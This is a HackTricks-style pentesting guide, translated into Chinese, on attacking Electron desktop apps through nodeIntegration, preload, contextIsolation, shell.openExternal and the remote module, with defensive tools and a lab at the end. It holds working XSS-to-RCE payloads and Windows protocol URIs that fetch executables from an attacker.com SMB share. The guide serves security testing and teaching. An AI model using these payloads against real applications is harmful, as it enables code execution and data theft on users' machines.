442 lines
21 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Electron Desktop Apps
{{#include ../../../banners/hacktricks-training.md}}
## 介绍
Electron结合了本地后端使用**NodeJS**)和前端(**Chromium**),尽管它缺乏现代浏览器的一些安全机制。
通常,您可能会在`.asar`应用程序中找到electron应用代码获取代码需要提取它
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
在Electron应用的源代码中`packet.json`文件内,可以找到指定的`main.js`文件,其中设置了安全配置。
```json
{
"name": "standard-notes",
"main": "./app/index.js",
```
Electron 有 2 种进程类型:
- 主进程(完全访问 NodeJS
- 渲染进程出于安全原因NodeJS 访问应受到限制)
![](<../../../images/image (182).png>)
一个 **渲染进程** 将是一个加载文件的浏览器窗口:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
**renderer process** 的设置可以在 **main process** 中的 main.js 文件中 **配置**。一些配置将 **防止 Electron 应用程序获取 RCE** 或其他漏洞,如果 **设置正确配置**
Electron 应用程序 **可以通过 Node apis 访问设备**,尽管可以配置以防止它:
- **`nodeIntegration`** - 默认情况下为 `off`。如果开启,允许从 renderer process 访问 node 功能。
- **`contextIsolation`** - 默认情况下为 `on`。如果关闭,主进程和渲染进程不会隔离。
- **`preload`** - 默认情况下为空。
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - 默认情况下为 off。它将限制 NodeJS 可以执行的操作。
- Node Integration in Workers
- **`nodeIntegrationInSubframes`** - 默认情况下为 `off`
- 如果 **`nodeIntegration`** 被 **启用**,这将允许在 Electron 应用程序中 **加载在 iframes 中的网页** 使用 **Node.js APIs**
- 如果 **`nodeIntegration`** 被 **禁用**,则预加载将在 iframe 中加载。
配置示例:
```javascript
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
```
一些 **RCE payloads** 来自 [here](https://7as.es/electron/nodeIntegration_rce.txt):
```html
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />
Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
### 捕获流量
修改 start-main 配置并添加使用代理,例如:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Electron 本地代码注入
如果您可以本地执行一个 Electron 应用程序,那么您可能可以使其执行任意的 JavaScript 代码。查看如何操作:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
{{#endref}}
## RCE: XSS + nodeIntegration
如果 **nodeIntegration** 设置为 **on**,网页的 JavaScript 可以通过调用 `require()` 轻松使用 Node.js 功能。例如,在 Windows 上执行计算器应用程序的方法是:
```html
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>
```
<figure><img src="../../../images/image (1110).png" alt=""><figcaption></figcaption></figure>
## RCE: preload
在此设置中指示的脚本是在渲染器中**加载其他脚本之前**,因此它具有**对 Node API 的无限访问权限**
```javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
因此,脚本可以将 node-features 导出到页面:
```javascript:preload.js
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
```
```html:index.html
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>
```
> [!NOTE] > **如果 `contextIsolation` 开启,这将无法工作**
## RCE: XSS + contextIsolation
_**contextIsolation**_ 引入了 **网页脚本与 JavaScript Electron 内部代码之间的分离上下文**,使得每段代码的 JavaScript 执行不会相互影响。这是消除 RCE 可能性的必要特性。
如果上下文没有被隔离,攻击者可以:
1. 在渲染器中执行 **任意 JavaScript**XSS 或导航到外部网站)
2. **覆盖内置方法**,该方法在预加载或 Electron 内部代码中被使用,替换为自己的函数
3. **触发** 使用 **被覆盖的函数**
4. RCE
内置方法可以被覆盖的地方有两个:在预加载代码中或在 Electron 内部代码中:
{{#ref}}
electron-contextisolation-rce-via-preload-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-electron-internal-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-ipc.md
{{#endref}}
### 绕过点击事件
如果在点击链接时应用了限制,你可能能够通过 **中间点击** 而不是常规的左键点击来绕过这些限制。
```javascript
window.addEventListener('click', (e) => {
```
## RCE via shell.openExternal
有关此示例的更多信息,请查看 [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) 和 [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
在部署 Electron 桌面应用程序时,确保 `nodeIntegration` 和 `contextIsolation` 的正确设置至关重要。已确定,**客户端远程代码执行 (RCE)** 针对预加载脚本或 Electron 的主进程本地代码在这些设置到位时有效防止。
当用户与链接交互或打开新窗口时,会触发特定的事件监听器,这些监听器对应用程序的安全性和功能至关重要:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
这些监听器被**桌面应用程序重写**以实现其自己的**业务逻辑**。该应用程序评估导航链接是否应该在内部打开或在外部网页浏览器中打开。这个决定通常通过一个函数`openInternally`来做。如果这个函数返回`false`,则表示链接应该在外部打开,利用`shell.openExternal`函数。
**以下是简化的伪代码:**
![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Electron JS安全最佳实践建议不要使用`openExternal`函数接受不受信任的内容因为这可能通过各种协议导致RCE。操作系统支持不同的协议这些协议可能触发RCE。有关此主题的详细示例和进一步解释可以参考[这个资源](https://positive.security/blog/url-open-rce#windows-10-19042)其中包括能够利用此漏洞的Windows协议示例。
在macos中`openExternal`函数可以被利用来执行任意命令,例如`shell.openExternal('file:///System/Applications/Calculator.app')`。
**Windows协议漏洞的示例包括**
```html
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>
<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>
<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>
```
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
此漏洞可以在 **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** 中找到。
**webviewTag** 是一个 **已弃用的特性**,允许在 **渲染进程** 中使用 **NodeJS**,应禁用此特性,因为它允许在预加载上下文中加载脚本,如:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
因此,成功加载任意页面的攻击者可以使用该标签来**加载任意预加载脚本**。
然后,该预加载脚本被滥用以调用**易受攻击的IPC服务`skype-new-window`**,该服务调用**`shell.openExternal`**以获取RCE
```javascript
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
```
## 读取内部文件XSS + contextIsolation
**禁用 `contextIsolation` 使得可以使用 `<webview>` 标签**,类似于 `<iframe>`,用于读取和外泄本地文件。提供的示例演示了如何利用此漏洞读取内部文件的内容:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
此外,分享了另一种 **读取内部文件** 的方法,突出了 Electron 桌面应用中的一个关键本地文件读取漏洞。这涉及注入脚本以利用该应用并外泄数据:
```html
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>
```
## **RCE: XSS + 旧版 Chromium**
如果应用程序使用的 **chromium** 是 **旧版** 并且存在 **已知的漏洞**,那么可能可以通过 **XSS 利用它并获得 RCE**。\
您可以在这个 **writeup** 中看到一个例子: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **通过内部 URL 正则绕过进行 XSS 钓鱼**
假设您发现了一个 XSS但您 **无法触发 RCE 或窃取内部文件**,您可以尝试利用它来 **通过钓鱼窃取凭据**。
首先,您需要了解当您尝试打开一个新 URL 时,前端的 JS 代码会发生什么:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
对**`openInternally`**的调用将决定**链接**是作为平台的链接在**桌面窗口**中**打开**,还是作为**第三方资源**在**浏览器**中打开。
如果该函数使用的**正则表达式****易受绕过攻击**(例如**未转义子域名的点**攻击者可以利用XSS**打开一个新窗口**,该窗口位于攻击者的基础设施中,**向用户请求凭据**
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
```
## `file://` 协议
如 [文档](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) 中所述,运行在 **`file://`** 的页面可以单方面访问您机器上的每个文件,这意味着 **XSS 问题可以用来加载用户机器上的任意文件**。使用 **自定义协议** 可以防止此类问题,因为您可以将协议限制为仅提供特定文件集。
## 远程模块
Electron 远程模块允许 **渲染进程访问主进程 API**,促进 Electron 应用程序内的通信。然而,启用此模块会引入重大安全风险。它扩大了应用程序的攻击面,使其更容易受到跨站脚本 (XSS) 攻击等漏洞的影响。
> [!TIP]
> 尽管 **remote** 模块暴露了一些从主进程到渲染进程的 API但仅仅滥用这些组件并不容易获得 RCE。然而这些组件可能会暴露敏感信息。
> [!WARNING]
> 许多仍在使用远程模块的应用程序以 **需要在渲染进程中启用 NodeIntegration** 的方式进行,这是一种 **巨大的安全风险**。
自 Electron 14 起由于安全和性能原因Electron 的 `remote` 模块可能在多个步骤中启用,因此 **建议不要使用它**。
要启用它,首先需要 **在主进程中启用它**
```javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
```
然后,渲染进程可以从模块中导入对象,例如:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
该**[博客文章](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)**指出了远程模块中对象**`app`**暴露的一些有趣的**函数**
- **`app.relaunch([options])`**
- **重新启动**应用程序,通过**退出**当前实例并**启动**一个新实例。对于**应用更新**或重大**状态变化**非常有用。
- **`app.setAppLogsPath([path])`**
- **定义**或**创建**一个目录以存储**应用日志**。可以使用**`app.getPath()`**或**`app.setPath(pathName, newPath)`**来**检索**或**修改**日志。
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- **注册**当前可执行文件作为指定**协议**的**默认处理程序**。如果需要,可以提供**自定义路径**和**参数**。
- **`app.setUserTasks(tasks)`**
- **添加**任务到**任务类别**中在Windows上。每个任务可以控制应用程序如何**启动**或传递什么**参数**。
- **`app.importCertificate(options, callback)`**
- **导入**一个**PKCS#12证书**到系统的**证书存储**中仅限Linux。可以使用**回调**来处理结果。
- **`app.moveToApplicationsFolder([options])`**
- **移动**应用程序到**应用程序文件夹**在macOS上。有助于确保Mac用户的**标准安装**。
- **`app.setJumpList(categories)`**
- **设置**或**移除****自定义Jump List**在Windows上。可以指定**类别**以组织任务如何呈现给用户。
- **`app.setLoginItemSettings(settings)`**
- **配置**在**登录**时启动的**可执行文件**及其**选项**仅限macOS和Windows
```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## systemPreferences 模块
在 Electron 中访问系统偏好设置和发出系统事件的 **主要 API**。像 **subscribeNotification**、**subscribeWorkspaceNotification**、**getUserDefault** 和 **setUserDefault** 这样的函数都是这个模块的 **一部分**。
**示例用法:**
```javascript
const { systemPreferences } = require('electron');
// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});
// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**
* **监听** **本地 macOS 通知**,使用 NSDistributedNotificationCenter。
* 在 **macOS Catalina** 之前,您可以通过将 **nil** 传递给 CFNotificationCenterAddObserver 来嗅探 **所有** 分布式通知。
* 在 **Catalina / Big Sur** 之后,沙盒应用仍然可以通过按 **名称** 注册通知来 **订阅** **许多事件**(例如,**屏幕锁定/解锁**、**卷挂载**、**网络活动**等)。
### **getUserDefault / setUserDefault**
* **与** **NSUserDefaults** **接口**,它在 macOS 上存储 **应用程序** 或 **全局** 偏好设置。
* **getUserDefault** 可以 **检索** 敏感信息,例如 **最近的文件位置** 或 **用户的地理位置**。
* **setUserDefault** 可以 **修改** 这些偏好设置,可能会影响应用的 **配置**。
* 在 **旧版 Electron**v8.3.0 之前)中,仅 **标准套件** 的 NSUserDefaults 是 **可访问的**。
## Shell.showItemInFolder
此函数在文件管理器中显示给定文件,这 **可能会自动执行该文件**。
有关更多信息,请查看 [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## Content Security Policy
Electron 应用应具有 **内容安全策略 (CSP)** 以 **防止 XSS 攻击**。**CSP** 是一种 **安全标准**,有助于 **防止** 在浏览器中 **执行** **不受信任的代码**。
它通常在 **`main.js`** 文件或 **`index.html`** 模板中通过 **meta 标签** 配置 CSP。
有关更多信息,请查看:
{{#ref}}
pentesting-web/content-security-policy-csp-bypass/
{{#endref}}
## **工具**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) 是一个识别 Electron 应用程序中的配置错误和安全反模式的工具。
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) 是一个用于 Electron 应用程序的开源 VS Code 插件,使用 Electronegativity。
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) 用于检查易受攻击的第三方库
- [**Electro.ng**](https://electro.ng/): 您需要购买它
## 实验室
在 [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) 中,您可以找到一个实验室来利用易受攻击的 Electron 应用程序。
一些将帮助您完成实验室的命令:
```bash
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
```
## **参考文献**
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
- [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
- 更多关于Electron安全的研究和文章在 [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
- [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
{{#include ../../../banners/hacktricks-training.md}}